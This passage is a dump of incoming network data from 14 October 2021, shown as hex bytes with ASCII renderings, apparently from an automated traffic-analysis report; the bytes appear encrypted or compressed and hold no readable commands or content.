c3 52 59 dd ab d3 3f 09 aa 80 0c 36 ba a3 83 5d 52 ae f5 b5 58 e4 02 ed 01 97 5a f4 e1 49 b4 4c 56 f9 45 11 44 77 33 3f 
c0 b4 9a d5 68 77 f5 b9 63 4c 9e 7d 70 48 f3 d7 7e 44 54 c8 c6 cb a3 29 94 0b 34 3a e1 e9 39 7d a2 5b 82 9e db 7f 1d 4d 
53 56 40 0f 8a f7 d7 0d 0b 89 33 e4 fe a2 a9 46 66 7a 1b 18 33 0a 3b 31 ed 8b 76 25 1c 88 ce 2b 8b 53 4d 45 99 41 8d 23 
98 91 b5 66 37 23 49 74 d5 9d e3 25 77 67 14 33 c5 05 d9 24 cb a3 2e 7e 60 ab ed ba db bf 63 c5 37 41 c3 ba 07 b5 29 
80 6c 80 92 6e 2f 51 da 8b ff 21 77 24 28 77 01 8b de 97 a4 
Data Ascii: 14z=|f_~VRogI)bx6pFthI _*|4#S@mQRY?6]RXZILVEDw3?hwcL}pH~DT)4:9}[MSV@3Ffz3;1v%+SMEA#f7#It
%wg3$.~`c7A)ln/Q!w$(w

2021-10-14 01:28:02 UTC 44 IN Data Raw: f8 b4 d5 a6 00 fc 87 0b 50 d4 c1 38 f7 4d 94 e7 c5 70 f3 01 4d ee 8d 16 29 39 1d 9d 45 f3 95 39 1e 58 b6 f9 fa 
d7 93 20 96 00 ed a0 e6 c8 44 41 2a 2d fc f5 4e be 79 8a 19 09 32 86 84 31 ce 59 a6 24 7f c9 99 2f 43 7c 19 47 e9 ab df 0f
e5 35 3a 71 9d cc ce d2 bb e2 78 92 45 a4 4c 23 ef 61 1d 01 d7 64 09 52 17 75 35 1e 1b 52 b4 36 3d cb c2 53 f9 cc b6 58 
2b ab f4 c1 d0 64 26 ae 29 66 51 9c 4a 06 58 fe 21 c2 94 bd 37 67 67 58 44 0c 2b f5 2a 08 05 23 b8 9f df 4a c7 c0 57 e0 f6 
f9 a6 61 ae 26 35 78 9c dc 46 8a ed 62 d6 79 d5 fe f0 64 47 d1 bc e5 7c 0e 21 af e6 47 fc a5 2e 06 ee 5c 0b a4 7e f8 d3 
58 43 26 49 9f f1 ac cf a7 a2 3a 4c df 8e 6b 4d 76 05 89 f7 a4 bc 4c dd 70 c1 16 be f4 94 fe 5f ce 51 67 ef ea 71 96 31 a2 
b7 18 af 5c 99 a5 dd 51 c8 09 50 81 50 7e 43 
Data Ascii: P8MpM)9E9X DA*-Ny21Y$/C|G5:qxEL#adRu5R6=SX+d&)fQJX!7ggXD+*#JWa&5xFbydG|!G.\~XC&I:LkMvLp_
Qgq1\QPP~C

2021-10-14 01:28:02 UTC 45 IN Data Raw: 7f 68 12 31 bd e8 4a 7c 5a c3 7d 4f d2 56 2c ca b8 34 a4 24 0b d5 2c 88 4e 70 ae 7b b5 58 e8 cf ea 79 25 5d 
de eb 5a b2 73 fa f9 45 1b 57 7d 4d 39 c2 b4 90 ab 62 61 e4 bb 09 c4 9f 72 76 5f 29 de 6d 57 59 f0 3d cb a3 38 85 02 25 
1f cc 7e 3a 47 a1 34 08 90 db 79 35 cf 50 56 47 0a 92 de d7 1b 02 9f 73 52 fe a2 b8 41 7c 61 2f 36 a9 09 3b 37 93 0b 68 
2c e4 9a e4 37 93 44 69 cb 02 42 87 36 f2 04 be 75 3b 30 52 6f c6 72 ee 21 fa 6d 1c 1d bb 8f d8 2e a2 2f 97 7e 6a 85 ef 
b2 ca bd 64 3f 2d 43 c1 c4 8e bf 35 74 7b 84 ff 7f 2b 73 96 75 fe 4b 1e 0c 39 70 2d 8c f6 dc a5 31 d7 4e 84 05 48 95 d7 49 
5f 17 13 09 f7 06 39 26 93 48 66 bf 78 2a 7d d9 db e2 d0 40 71 0a b3 a3 88 78 72 54 96 b2 b1 cc d9 d1 ff 2d d3 ed 29 c2 
41 4a fc 75 33 63 c6 d1 2b bd b4 d5 0e 88 7b 8d 53 0b 
Data Ascii: h1J|Z}OV,4$,Np{Xy%]ZsEW}M9barv_)mWY=8%~:G4y5PVGsRA|a/6;7h,7DiB6u;0Ror!m./~jd?-C5t{+suK9p-
1NHI_9&Hfx*}@qxrT-)AJu3c+{S

2021-10-14 01:28:02 UTC 47 IN Data Raw: f3 18 04 6d 78 76 41 fb a6 c7 2f f0 3a 27 5c fc d5 ca c5 67 e3 7f ab 87 b5 4a ab 55 73 27 08 ff 26 79 54 10 5d 
b1 0e 1c 7c 39 80 3d cd d7 54 35 d4 bb d7 1f ab f2 d8 cf 72 59 39 07 64 5b 90 71 35 4a f5 3a 1b 85 bc 72 6e 76 58 4e 1e 
29 dd ed 7d 70 25 be 8d d9 62 9f d9 67 e2 99 58 a5 61 a8 43 24 7f e2 15 5a a2 b9 0d f2 71 fd 77 f5 4c dd f9 98 ef 6d 02 43 
70 ce fe f6 8d 41 0c 9d e9 64 bf 75 f2 de 58 b2 24 49 93 e4 8b 71 b7 ac 04 6e f4 8c 6b 5a 7f 1f 59 78 92 90 6a d9 58 fa 05 
b7 8d 9b f9 67 fa 5b 4f d7 fb 75 ef 62 a3 b0 34 bd 4b 47 b7 f8 79 f9 09 a3 72 43 63 71 75 8d 12 2e 8a 9d 31 62 71 f7 d3 9e 
be 98 78 62 25 ad b3 bb 11 a7 34 db 1a 3d e6 ac 45 6f bc 16 f1 e1 38 87 1e ed 21 6b 2f 50 f8 bd b4 66 87 54 b0 dc 01 b3 
f3 73 22 18 29 2c af 61 0d 51 4c f6 54 c0 64 
Data Ascii: mxvA/:'\gJUs'&yT]|9=T5rY9d[q5J:rnvXN)}p%bgXaC$ZqwLmCpAduX$IqnkZYxjXg[Oub4KGyrCcqu.1bqxb%
4=Eo8!k/PfTs"),aQLTd

2021-10-14 01:28:02 UTC 48 IN Data Raw: 7d 69 c6 cb a9 10 0e 0b 34 19 8b 51 38 47 ad 34 08 90 db 75 0a 38 d8 57 41 16 d5 7c d6 1b 02 9a 36 8c ef a7 
90 f0 75 70 29 36 9b 09 3b 37 d4 21 69 2c e8 a1 43 26 9a 5f 6e e4 b0 70 87 30 97 b7 69 75 3d 23 5f 0d 42 62 e2 0f 72 68 
c2 0f f1 2d ee 2e a4 0d 3c 79 6c 8e d4 82 db b5 7a 1c 0a 50 c9 ba 07 b9 1d d2 6e ac d7 10 ac 78 80 8d d2 29 34 03 3e 66 
07 c2 56 96 a4 37 ca 85 9e 02 57 b5 8b c6 5f 11 7c 92 f0 17 37 5e 61 c1 67 b5 6f 3e 5c 7f dd f3 de 49 16 92 b4 8b 1c 6a 
79 4f bd e0 a8 df 9e ca ff 2d df d3 19 c2 40 4e 58 07 11 6b eb 9f 29 bb 8d 4a 1e 8e 1e 88 6e 1a a8 f8 a1 27 5e 6e 86 44 17 
ef ed 26 bb bb 4d 9f a0 e7 20 42 61 f6 77 2b 69 6e 30 a4 25 83 aa 9c fe 1e 8f 97 9b f3 c7 61 f5 e9 f8 80 54 93 3f 4a dd 33 
49 91 b5 0a 0d 64 86 c8 96 8e 80 5d 6e b4 c2 57 69 
Data Ascii: }i4Q8G4u8WA|6up)6;7!i,C&_np0iu=#_Bbrh-.<ylzPnx)4>fV7W_|7^ago>\IjyO-@NXk)Jn'^nD&M Baw+in0%aT?
J3Id]nWi

2021-10-14 01:28:02 UTC 49 IN Data Raw: 3a 34 fd ba 1d 6c 66 4a 6c d9 2b f5 2c 55 a2 21 ad 83 f7 64 c4 db 61 8b 8b 70 a7 6b c1 63 37 78 8b d1 4d 8a 
76 63 d6 79 c7 00 0c 9b be 27 96 f7 6b fa 3a ba ce fe e7 ca 7f 0d 9d e9 d7 b5 7b e5 02 24 9b 37 46 84 f4 9d 99 4b 53 fd 
07 b1 48 6a 5c 73 7b 40 6c b7 b2 4e c1 73 ae 04 a6 d6 71 fa 67 f6 43 74 fe e8 1a c0 be a3 b1 71 71 5b 47 bd ef 48 b9 7a 
72 89 43 70 78 61 9c 07 24 a9 f1 16 3c 71 f1 bc e8 bc 98 6f 00 8e bc a0 de 38 a3 4a f1 74 19 e0 84 54 7c a8 01 ca da 1e 
85 18 c3 56 4f 2d 56 91 66 a0 4e 30 89 be ff 46 ae f1 73 2e 05 05 05 bb 0e 1f 8e 4c fa 38 f4 4d 4d ce 4c f2 89 39 af 8d 3f 
ef 03 0f 97 e8 4f 0a ef 4b 28 0f 12 d7 eb aa 19 17 29 be ab ef 46 e8 cc 3a f8 7b 94 c1 88 68 05 bd 73 46 ec a3 62 12 9d 0f 
07 cf 91 f3 35 d8 7f 4e 79 75 86 16 8c 24 61 1c f7 
Data Ascii: :4lfJl+,U!dapkc7xMvcy'k:{$7FKSHj\s{@lNsqgCtqq[GHzrCpxa$<qo8JtT|VO-VfN0Fs.L8MML9?OK()F:{h
sFb5Nyu$a

2021-10-14 01:28:02 UTC 50 IN Data Raw: 1d 09 8e 18 11 70 db 1e 3b bc 56 ac d8 43 c2 84 a7 aa 06 fb b2 f0 e7 7f 54 3a 2b 65 7e 47 9f f9 06 1a 03 25 ed 
30 a1 e2 76 83 23 ec c9 05 2c 43 70 a6 78 e8 ab d4 0a f5 3c 36 50 bb e5 ca c5 67 88 42 83 40 b4 3b 92 58 53 d2 f7 f4 25 
0a 26 03 5d bb 06 31 54 9c 83 26 fb c7 59 7b d9 93 70 42 ab f4 da b0 df 55 11 23 6c 5d e8 49 3f 58 fa 03 0b 96 bb 1b 4e 
25 5b 44 0a 03 ed 28 7d 76 4c 67 85 df 40 18 d5 42 cc c1 70 a7 6b a2 6d 0d 78 8d c9 84 a2 b5 1c fd 72 fd 75 db 73 43 f9 
9e cd 2e 07 2c a0 e6 e7 fe a5 2e 62 57 e3 0b ae aa fc f1 1f a3 26 49 9f ef 8b e1 b4 ac 08 df de 88 41 5d 65 14 87 6d b7 be 
5d c5 7a f0 18 a4 fe b9 fa 67 fc 60 67 f3 b7 75 eb a6 a3 b7 1f a7 6b 4e b7 1c 7b ff 09 3c 8b 43 67 18 ca 8d 13 3f b0 e0 a9 
3e 71 fd df be 26 98 69 1b 89 a8 cd 9f 1a a1 4e 
Data Ascii: p;VCT:+e~G%0v#,Cpx<6PgB@;XS%&]1T&Y{pBU#l]I?XN%[D(}vLg@BpkmxrusC.,.bW&IA]em]zg`gukN{<Cg?>
q&iN

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 51 IN Data Raw: 98 4a 6b 8a da 9d 8c ef dc e7 2f 65 5c de eb 61 7b 0e 62 ff 4d 06 92 60 1b 75 c3 b4 90 90 b2 76 f5 b8 07 64 48 
73 70 42 db 1a 7f 44 5f e0 1f ca a3 32 9c 1c e2 0d b9 e5 28 4b b0 8d 91 9d ca 73 0c 47 62 e1 50 1b d5 3d d7 1b 02 9f 00 
86 20 d4 cb 72 77 70 25 0d 3a 1b 31 19 2c 82 69 2a 8d a1 e0 26 9c 44 6f f2 9f 2e a3 32 9d 88 ae 7f 2c 27 37 58 cd 63 e4 
18 6b 46 cd 18 d4 03 b6 04 a6 07 29 78 7b 89 93 a2 da b5 7a d0 22 3d 02 ba 16 b5 0f d3 93 53 2e a1 3d 68 8e fe c4 2b 32 
28 04 7b 10 a3 ab ac a4 31 dc 30 da 14 44 b7 6f 94 4a 34 54 b4 f6 06 35 5a 03 3b d9 b5 69 27 5e 46 e3 e2 d6 59 a7 19 b3 
a1 1d 53 72 5e bb b0 94 c6 f1 41 fe 2d d9 99 13 d3 49 05 cb 06 11 dd c7 d7 38 a6 a5 d8 1f 8e 14 a5 51 0b a2 d0 33 20 5e 
64 ab bc 65 cd ef f2 bc a8 41 9b ac f6 29 37 49 f4 76 
Data Ascii: Jk/e\a{bM`uvdHspBD_2(KsGbP= rwp%:1,i*&Do.2,'7XckF)x{z"=S.=h+2({10DoJ4T5Z;i'^FYSr^A-I8Q3 ^deA)7Iv

2021-10-14 01:28:02 UTC 52 IN Data Raw: 57 63 59 a5 49 5b c2 00 71 91 35 ab ef a2 44 c3 0e 71 b4 b4 3d cb ce 4a 20 aa 2c 70 1c a1 ff e3 fb 60 55 1b f7 
64 5d bc 65 14 58 bf 67 1c 94 bb 1d 66 77 30 44 0c 2b 86 2a 7d 70 f8 ad 85 df 46 c6 db 67 fe f6 70 a6 63 ae 45 35 43 8d 
c3 5a 18 b3 62 d6 86 fd 71 f3 72 41 f9 98 e5 7c 04 2c a6 ce fe fc a3 28 0d 9d fb 0a a4 74 ec d5 37 94 33 49 95 e2 b9 d9 b4 
ad 19 31 dd 8e 2b 5d 79 14 f6 6d b7 a9 2e 66 58 f0 1c b4 80 85 fb 67 f6 78 be ec fb 73 f2 d3 9e b7 1e b6 76 40 b1 f3 a4 e0 
08 50 8b 9d 62 4e 5d ba 13 35 b0 8d 35 38 7a df eb c0 be 92 b4 18 9b ad b3 cf 27 a1 4a fd 33 e4 e1 84 54 7a d3 2d d9 b5 
31 8b 10 aa 8d 68 2f 5c 9a 7e a7 68 9b 99 b3 c1 eb 84 f3 73 39 1a 10 19 35 72 02 f1 70 f0 2a e6 4d 5e cc 4c fe b5 a5 59 
a7 2d f7 f7 0e e6 d5 4f 11 8a 0f 2e 27 01 0a fa 
Data Ascii: WcYI[q5Dq=J ,p`Ud]eXgfw0D+*}pFgpcE5CZbqrA|,(t73I1+]ym.fXgxsv@PbN]558z'J3Tz-1h/\~hs95rp*M^LY-O.'

2021-10-14 01:28:02 UTC 54 IN Data Raw: 55 41 1a af e6 ff 53 09 89 39 93 64 8a 50 53 75 76 36 08 18 42 3a 31 f6 97 f3 04 c5 89 e2 2c f5 7d 67 e3 9e 50 
82 18 74 8d bf 73 52 81 58 7e c5 4f c7 18 67 7f 19 33 3d 06 d9 28 b1 11 07 36 6b 83 f6 ad 41 9d 9a c2 2c 54 dc ac 3e f7 
34 7e 67 ba 4b 10 0f 7b 80 8d ee 2e 1a c2 2b 77 07 c2 7c 97 a4 3b f1 6e 9c 12 55 b8 9b a1 5c 11 7a 96 e0 2e 77 48 0e 42 
71 2f 41 c1 56 6e dd f7 c0 7b 31 1a b5 81 0c e3 5a 5d ba f1 a6 ee 50 43 fe 27 b6 e6 11 d3 4f 4d f9 17 14 49 2b d4 38 b6 ca
7a 1f 8e 1e 89 74 1a a4 c1 36 0e b3 67 ab 74 71 db c7 6e bc a8 4b 99 36 de c5 2e 49 f2 62 3b 50 2a 20 af 40 b1 32 f3 de 
0d 83 80 80 9a c9 8d f6 ef ef e3 56 3c 3c 4c dd 4d 65 fc ad 0d 0b 7f 9b ad e1 44 80 57 ba 81 2c 81 a1 bf 3c 08 cc 51 b3 21 
ac 24 87 b0 b0 e0 b0 ca 18 cd a3 f4 a9 ff 44 6b 
Data Ascii: UAS9dPSuv6B:1,}gPtsRX~Og3=(6kA,T>4~gK{.+w|;nU\z.wHBq/AVn{1Z]PC'OMI+8zt6gtqnK6.Ib;P* @2V<
<LMeDW,<Q!$Dk

2021-10-14 01:28:02 UTC 55 IN Data Raw: f5 e4 6f a9 9f af 69 32 6e 9e d3 45 ad a0 70 d6 62 ef 6e d1 9a 40 d5 95 f4 74 15 2a c9 ea fc fc a3 37 2e 8e f1 
0b b5 66 ed c9 c9 95 0a 43 84 e8 b4 43 a7 aa 1d 1f cd 9c 6b 4d 6b 0b 9f 93 b6 94 50 c8 54 d8 f2 be fe bf e8 62 e3 49 74 
fd fb 64 f7 a4 5d b6 32 a5 73 59 b4 f8 7f d7 2a 50 8b 49 5e 6b 71 8d 15 1d 9e 9e 31 34 62 f3 ca d3 ac 98 78 03 85 8d 4d 
b0 37 aa 39 d5 19 3d e4 97 5a 72 9d 03 cb b5 2a 95 07 e4 c7 68 03 5a 86 7f bc 09 a5 88 be ff 36 a6 e0 61 28 05 13 0b bf 
9f 06 a3 47 e1 3b fd 75 1e dc 47 e7 b5 b3 63 83 3c e5 e2 3a 77 e9 63 1c 91 14 39 0a 77 2d f8 ae 35 08 0d ac 91 ef 57 f8 
d3 d0 06 d7 11 ca 97 62 12 27 60 48 f3 6d 70 a3 e1 1c 1b d6 6f f2 19 d3 0c 68 7b 0d 9d 1f 98 37 73 1c e6 f3 9d ea ef 3c 72
43 e2 77 bc cf d0 75 64 6f 44 06 0e 61 ea e2 0d c5 
Data Ascii: oi2nEpbn@t*7.fCCkMkPTbItd]2sY*PI^kq14bxM79=Zr*hZ6a(G;uGc<:wc9w-5Wb'`Hmpoh{7s<rCwudoDa

2021-10-14 01:28:02 UTC 56 IN Data Raw: 41 9d 57 c1 2c 58 da b0 07 b1 22 a8 7e a2 c0 71 3a 6f be f2 00 d4 cd 38 22 18 23 ac de 9d b3 bc 9c 5f 8d 15 
57 a8 a2 5f 49 0e 71 1e e7 13 50 14 0e 48 6c a6 62 3b 44 65 55 55 ce 89 6a 0c a6 9b 22 a3 72 5e bb e0 ab d7 e1 d9 d6 
24 dd c0 15 bc 49 67 ca 0c 00 6a d7 c7 a2 98 af dc 1f 88 7b 43 50 0b a8 c6 cd 24 01 48 b3 63 6f dc ff bc ab b9 4a 9f bc 6c 
46 e0 49 f4 7d 35 a2 0d d2 af 4a ad a4 8d f3 1e 93 1c b9 97 e5 63 f3 80 e9 8d 7c 34 2d 41 ca 4c 74 45 2f 24 07 71 8a a1 
e1 8f 81 57 ba e4 cb 0a 4f 4b f3 0e 47 4d d7 11 bd 34 1c f3 71 f1 ba b5 34 17 cc 06 c6 a8 4e 78 b2 e6 13 fd d4 83 0a 2f 62 
25 3c 81 db 67 a2 fd c1 7a 95 97 1b 74 89 9b 00 23 7a 7e 68 4c 77 31 1b e3 34 09 dc c7 bf 0c c5 b3 b8 4f 29 d5 b2 9a b7 
08 99 87 4a 53 d2 d6 01 24 4b fb c9 cc 58 db 12 5c f9 
Data Ascii: AW,X"~q:o8"#_W_IqPHlb;DeUUj"r^$Igj{CP$HcoJlFI}5Jc|4-ALtE/$qWOKGM4q4Nx/b%<gzt#z~hLw14O)JS$KX\

2021-10-14 01:28:02 UTC 57 IN Data Raw: f0 1c ad f4 ca 44 67 fc 5a 6c c7 c3 75 e5 b6 7d b5 18 96 5c 6d b7 f8 78 ef 09 50 8b 43 70 6b 92 60 13 20 a0 9e 
31 3f 6a c7 d7 c0 97 99 69 11 ec ad b3 a0 68 1e 4a f7 11 37 ca 3f 50 6d ba 38 15 b5 3b 8d 30 de 3d 69 29 7e 2c 75 b4 60 
a5 46 be f9 23 ac ef 77 28 12 29 30 af 61 0d 99 64 1a 2b ec 6f ac e8 4c f8 ae b3 74 92 28 df cc 19 89 e2 62 1a f3 a3 28 0f 
12 00 27 73 33 17 29 ae 86 c7 1a ea cc c0 f5 df 15 24 85 68 03 95 96 47 ec 7c 4b ec e1 0d 0f dc 95 fa 1d 3d 7c d7 7d 25 
7f 16 82 22 49 41 f7 e1 87 07 e8 19 50 d4 79 77 ba ed 29 73 79 7a 7e 5b 1f 73 f3 fa fb cd c6 15 f9 83 4f e5 af 3c 9a 0b 48 
4c d9 04 0c 2a 8f 97 6f 94 d8 4c 61 84 dc 54 1b b2 af ca bf 31 4a 00 0f 31 2b 43 eb 0a ef af c0 12 4e 7f 64 29 1a d6 df 69 
7e 5a d4 6b 6e 4d 5e 3d c4 ff 43 a6 24 07 ab 
Data Ascii: DgZlu}\mxPCpk` 1?jihJ7?Pm8;0=i)~,u`F#w()0ad+oLt(b('s3)$hG|K=|}%"IAPyw)syz~[sO<HL*oLaT1J1
+CNd)i~ZknM^=C$

2021-10-14 01:28:02 UTC 59 IN Data Raw: 76 04 f2 a0 c0 e9 ce f9 2d d9 c1 00 db 58 6e dc 17 17 79 1e 5b 07 b0 a5 d9 bd 9f 1c b2 49 87 9d d0 33 27 fc 75 
a3 66 70 d9 c7 8e bd a8 4b a6 bd f6 29 27 5a f0 70 39 50 dd 22 af 4c bf 25 9b f8 0f 82 95 99 8d e9 75 ee fe ef 5a f0 01 3c 
4a da fe 72 9b a2 10 1a 73 5c bc 9f 89 56 8d 3c 84 e7 7f 5f e2 f3 16 c9 4f d2 32 04 24 86 96 94 e0 ba bf 29 de a4 e4 c2 80 
e5 6b b7 fd 07 fc ec 78 dd b5 7e 25 31 4a dc aa 6b 48 bf b0 bd 36 11 6c 59 eb e3 0b 96 75 7b 40 d2 0c 20 be e8 09 c8 de 
ab 66 20 5e b9 45 39 68 dd 8b a6 01 de 98 49 53 de cb 01 33 5a 42 fe c8 49 db 12 44 d6 bf ee fe 67 15 b5 ee db 1e 30 14 
80 b3 f9 60 d6 93 20 ad 28 f9 b3 e5 e9 46 68 2c 3c f3 b1 43 b1 7b 06 1a 48 28 e9 26 31 ce 53 8a 35 76 e1 14 56 42 7a 76 
3d e9 ab d5 30 e1 3c 36 40 93 dd ca de 5d f6 7d 
Data Ascii: v-Xny[I3'ufpK)'Zp9P"L%uZ<Jrs\V<_O2$)kx~%1JkH6lYu{@ f ^E9hIS3ZBIDg0` (Fh,<C{H(&1S5vVBzv=0<6@]}

2021-10-14 01:28:02 UTC 60 IN Data Raw: 96 72 06 ec d1 a9 68 70 9e 66 8d cb 8a f9 29 84 f3 73 28 69 01 14 af 9e 07 8f 4c 8c 2b ec 65 8b cf 4c f8 be a0 
71 82 2f f7 fd 19 d5 e8 4f 11 bd 1d 28 0f 81 0a fa ae 25 17 29 bf 83 ef 46 ea d7 f6 fc d6 7c c1 86 68 85 bd 73 55 9f c5 63 
b1 eb 06 21 8f 95 f3 33 d7 57 96 7f 0d 91 1f 8b 0c 23 18 f7 e7 a9 3a ec 10 7e 15 92 76 bc cf eb d1 79 7c 5c 15 19 7a dd 71
f0 c4 e8 20 d3 81 49 cb 99 d0 9b 0d 6a 39 78 04 0a 33 9b 9a 41 a3 2d 4f 67 aa d4 7e 19 b4 81 bf 57 30 4c 06 36 98 03 6d 
e3 19 ee bf c0 a4 4d 7f 68 17 1a 87 ac 4d 54 b2 d3 78 6d 74 f6 2c c0 dd b6 a0 35 07 92 8d 8b 4e 7c 90 e5 9b 58 ee d6 fb 
f9 bc 4c d9 c9 67 b6 0d 64 ef 6d 3f 44 77 39 b7 3c b5 c5 94 6d 63 f9 6f c1 4c 9e 72 61 4e db e3 7c 44 53 de ee e5 a3 38 
9e 1d 1a 53 97 cb 3b 47 a1 48 8a 80 d3 57 44 55 
Data Ascii: rhpf)s(iL+eLq/O(%)F|hsUc!3W#:~vy|\zq Ij9x3A-Og~W0L6mMhMTxmt,5N|XLgdm?Dw9<mcoLraN|DS8S;GH
WDU

2021-10-14 01:28:02 UTC 61 IN Data Raw: 85 8d f5 75 e3 72 f8 98 13 63 3c 4a d1 4b f9 80 be 1d 01 1a 47 a7 8e 85 96 a9 b2 aa ec 10 93 40 e2 14 cb a5 
c4 45 80 01 97 97 94 01 ba bf 25 de a7 e4 cc 80 b4 6b b7 f1 13 fd c8 82 46 9d a6 36 37 96 e3 5e 76 67 a8 d8 e8 97 11 66 
5f e5 f7 4c b7 74 7b 40 13 ed 1b e4 5d d7 cd d6 b0 74 f6 b1 e7 69 07 97 be 89 a6 06 e5 a2 59 5e dc a8 38 37 4d 92 fc c3 
49 d9 6c 69 ea 81 17 10 95 1a f2 69 d9 1e 3c 0f 53 89 98 53 d6 95 45 af 04 fb b5 e5 f2 63 3f 34 3d f9 65 9d a2 74 2e 2d 09 
34 e3 35 3f bd ec 8a 35 7c ec 3c 14 43 7a 7c 99 d1 ba c4 35 37 2f 27 4b 82 cc d9 4b da ce a5 7d bf 4a 5b ab 4f 85 c0 0f ee
20 1b 42 2f d6 45 e2 e4 8a 89 a6 15 fc c4 59 2d ca 9c 03 a3 ab f4 c1 ce 48 6d 11 29 6c 85 94 64 14 51 d4 2b 1c d5 8f 1d 
66 77 58 44 0c ee f5 2a 7d ad 23 ad 85 7d 4b c6 db 
Data Ascii: urc<JKG@E%kF67^vgf_Lt{@]tiY^87MIlii<SSEc?4=et.-45?5|<Cz|57/'KK}J[O B/EY-Hm)ldQ+fwXD*}#}K

2021-10-14 01:28:02 UTC 63 IN Data Raw: 3d fa 86 df f4 bd 7d 44 ec 7a 63 aa d1 05 09 8b 92 f3 35 5d 7f d7 6a 25 dc 14 82 2e 63 34 9e e0 81 1e 81 0b 79 
3d 70 64 b8 d4 c7 58 8e 7c 56 00 12 6c a1 64 d8 c4 ee 09 ee 84 58 ca a7 18 69 0d 60 11 45 15 0d 2e 97 b8 db 9a db 54 
47 2d fc 50 1b 28 96 90 a6 11 88 0c 1e 39 9f 7c ee 10 f6 80 74 2d 49 64 4e b9 34 85 ac d7 6d 5d ce 58 bc 5c 57 2c 5c c6 
a2 b8 04 93 ba a3 89 d2 6b 81 d3 aa 29 72 cd ea 18 b4 7d 7d e1 49 b4 91 73 fe 5a 1b 64 ce 33 a1 c2 28 8b bf 75 7c d5 54 
66 4c 9e ee 61 4f ec c1 61 17 c9 d9 c1 d4 ae 27 ee 97 25 14 fb e7 19 d2 a7 5b 82 0d ca 78 02 58 4c 2a dd 0d bd ef c7 0d 
94 98 34 9b ef b4 24 41 72 6f 31 08 ac 1b 3c 2e ef 97 f5 3d e5 96 f6 30 06 44 62 fc 8d 57 1b 21 9a 91 a9 55 c2 23 58 7e 
53 72 e5 16 76 78 80 0a d3 1a c1 38 38 16 28 61 73 a3 7c 
Data Ascii: =}Dzc5]j%.c4y=pdX|VldXi`E.TG-P(9|t-IdN4m]X\W,\k)r}}IsZd3(u|TfLaOa'%[xXL*4$Aro1<.=0DbW!U#X~Srvx88(a
s|

Timestamp
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2021-10-14 01:28:02 UTC 64 IN Data Raw: e5 75 67 a4 d8 8e 96 11 66 58 ef fe 23 73 62 85 4b 28 11 0e ee 32 13 d1 28 bb 4f 0a 98 bd 7d 44 1b 63 74 a1 
2a f6 af 53 63 dd c7 7c 36 4d 94 67 ce 58 cc 70 f2 e8 81 1b 0b 82 90 86 4f db 1f 29 07 4f b8 c7 29 ea 93 2a 8f 2e ad b7 e3 
e5 01 e3 2d 3c f3 cd 52 ae 46 78 26 09 34 e3 0e 66 ca 53 8c 5a c5 e0 14 26 e1 6b 6f 5f 96 97 d5 22 eb 14 6e 5e 93 db a4 
76 6c f1 77 21 51 ac 53 d3 64 53 d3 03 d7 7f 0e 52 17 32 08 1c 1b 5e 3e 92 24 c7 cc 4a 36 cf 80 60 24 75 f6 cb c3 71 44 
00 39 fc 56 9f 5b f2 5a fe 2b 15 fb 0f 1c 66 7d 4b 57 1a 38 e7 12 cc 72 23 ad 94 cc 5b d4 41 74 e0 ff 61 a3 0e 1d 44 35 72 
9e c6 29 c6 b2 62 dc 60 fb 60 f6 4c 1b fd 98 e3 13 b1 2d a6 c4 ea 02 a4 3e f3 9c f2 0e 8c 2f f6 d4 31 fb 93 48 95 e8 b7 27 
b5 ba fc 00 cf 8b 43 00 7d 14 81 02 02 b9 5d d3 
Data Ascii: ugfX#sbK(2(O}Dct*Sc|6MgXpO)O)*.-<RFx&4fSZ&ko_"n^vlw!QSdSR2^>$J6`$uqD9V[Z+f}KW8r#[AtaD5r)b``L-
>/1H'C}]

2021-10-14 01:28:02 UTC 65 IN Data Raw: 2c 87 38 88 94 4b a0 e5 53 7b 84 a2 50 1b be e8 b5 be 31 46 24 76 3d 03 6b c1 2e e9 b9 e2 14 61 7f 6e 35 18 
99 b3 57 54 04 d2 78 6d 33 75 2d c0 dd 8d cd 20 01 bc 8b ad 4e 7a 8c e5 38 59 ee d6 e1 0e 33 ea d6 6f fe 62 1a 4d f2 36 
ae 44 77 39 aa 1f dd 9c b8 6a 7e 7b 05 6e c2 29 a4 67 92 e4 1b f3 51 55 c8 c7 d8 a7 31 1a bc 22 22 cf ff 30 c9 10 4c 58 
82 c5 6c 17 7c 4a 47 45 0d b0 f9 c6 11 92 a1 5a 80 fe a4 90 74 75 70 29 bc 21 00 2c e7 ef 8b 78 26 f3 97 d3 c7 92 db d2 
f5 a9 76 91 23 96 87 31 c2 2c 27 d6 c9 d8 b9 f1 16 72 62 37 04 c5 01 c8 22 ac 16 24 e4 42 e9 f8 ba dd 9d 54 c1 2c 58 6b 
ab 1d a8 e3 6d 66 bd dd 68 fd 6a 8c 9a f3 3a 2d 18 f3 04 f3 ac de 9d b7 38 cc 5b 9e 35 52 ae 93 72 ed 14 7c 83 e7 27 2e 
69 94 5b 73 a4 7c 34 42 77 a8 11 d7 53 73 08 a4 9a 0b 6d 
Data Ascii: ,8KS{P1F$v=k.an5WTxm3u- Nz8Y3obM6Dw9j~{n)gQU1""0LXl|JGEZtup)!,x&v#1,'rb7"$BT,Xkmfhj:-8[5Rr|'.i[s|4
BwSsm

2021-10-14 01:28:02 UTC 66 IN Data Raw: b3 18 fa 29 84 e2 7c 39 1a 16 99 a8 61 07 8e 5f d6 3b ca 73 95 d9 c0 c7 a4 a0 70 21 3c d1 e9 31 3b e8 4f 1b 
a8 46 28 0f 12 23 17 af 33 1d 01 68 82 ef 4c c2 e8 c6 f8 dc 2e cf 97 67 2d d0 77 44 ea 15 7e b0 e1 07 24 ee 80 fc 1d b4 
7b d7 7d 62 8a 14 82 2e 4d 1e dc f0 90 1b c6 7f 7c 3d 7c 18 a1 c4 c3 7a 40 b8 56 06 1f 62 e3 f6 fa 12 fd 1f ec 97 5f fe e0 
29 8c 15 b6 02 ce 2f 43 28 98 8d 60 9a fb 5d 40 c3 db 52 1b b2 96 99 a8 bc 4b 0c 1e 38 10 4f f8 28 ff a8 ff b0 71 7f 6e 3e 
96 94 8e 5f 54 e8 d2 78 6d 74 0d 2c c0 dd 8d 48 25 01 b0 8b 5e 4f 7a 8c e5 91 58 ee d6 82 2f bf 5d d8 f0 5e a3 db 71 ee 
54 1f 53 fa 34 a1 c2 b5 89 9e 7b 51 e3 a3 71 c0 a1 72 70 49 51 dc 58 50 7d 7a c6 cb a9 27 b4 87 0b 13 e4 e8 2f 6f 17 5b 
82 9b f7 50 0c 59 44 db 46 1c ba f1 c4 38 19 aa 25 
